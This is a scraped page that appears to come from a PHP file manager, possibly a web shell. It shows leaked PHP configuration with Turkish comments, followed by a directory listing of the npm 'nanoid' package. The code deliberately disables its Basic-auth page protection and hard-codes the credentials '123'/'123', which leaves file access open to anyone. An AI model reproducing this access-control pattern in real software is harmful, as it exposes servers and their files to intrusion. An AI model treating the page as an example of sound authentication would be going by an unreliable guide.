# Konfigurasyon $sayfaSifreleme ='0'; # 1 acik , 0 kapali $kullaniciAdi = '123'; $sifre = '123'; # yetki kontrol fonksiyonu function yetkiKontrol($kullaniciAdi,$sifre) { if(empty($_SERVER['PHP_AUTH_USER']) || empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_USER'] != "$kullaniciAdi" || $_SERVER['PHP_AUTH_PW'] != "$sifre") { header('WWW-Authenticate: Basic realm="x"'); die(header('HTTP/1.0 401 Unauthorized')); } } # Sayfa Sifreleme aciksa if($sayfaSifreleme =='1') { # Veri ve sifre kontrolu yetkiKontrol($kullaniciAdi,$sifre); } ?>
| Name | Size | Modified | Perms | Actions | |
|---|---|---|---|---|---|
| async | --- | January 12 2023 00:58:36. | 0755 | ||
| bin | --- | January 12 2023 00:58:36. | 0755 | ||
| non-secure | --- | January 12 2023 00:58:36. | 0755 | ||
| url-alphabet | --- | January 12 2023 00:58:36. | 0755 | ||
| LICENSE | 1.07 KB | October 26 1985 21:15:00. | 0644 | ||
| README.md | 1.52 KB | October 26 1985 21:15:00. | 0644 | ||
| index.browser.cjs | 1.05 KB | October 26 1985 21:15:00. | 0644 | ||
| index.browser.js | 1.04 KB | October 26 1985 21:15:00. | 0644 | ||
| index.cjs | 1.31 KB | October 26 1985 21:15:00. | 0644 | ||
| index.d.ts | 2.20 KB | October 26 1985 21:15:00. | 0644 | ||
| index.js | 1.29 KB | October 26 1985 21:15:00. | 0644 | ||
| nanoid.js | 169 bytes | October 26 1985 21:15:00. | 0644 | ||
| package.json | 2.67 KB | January 12 2023 00:59:20. | 0644 |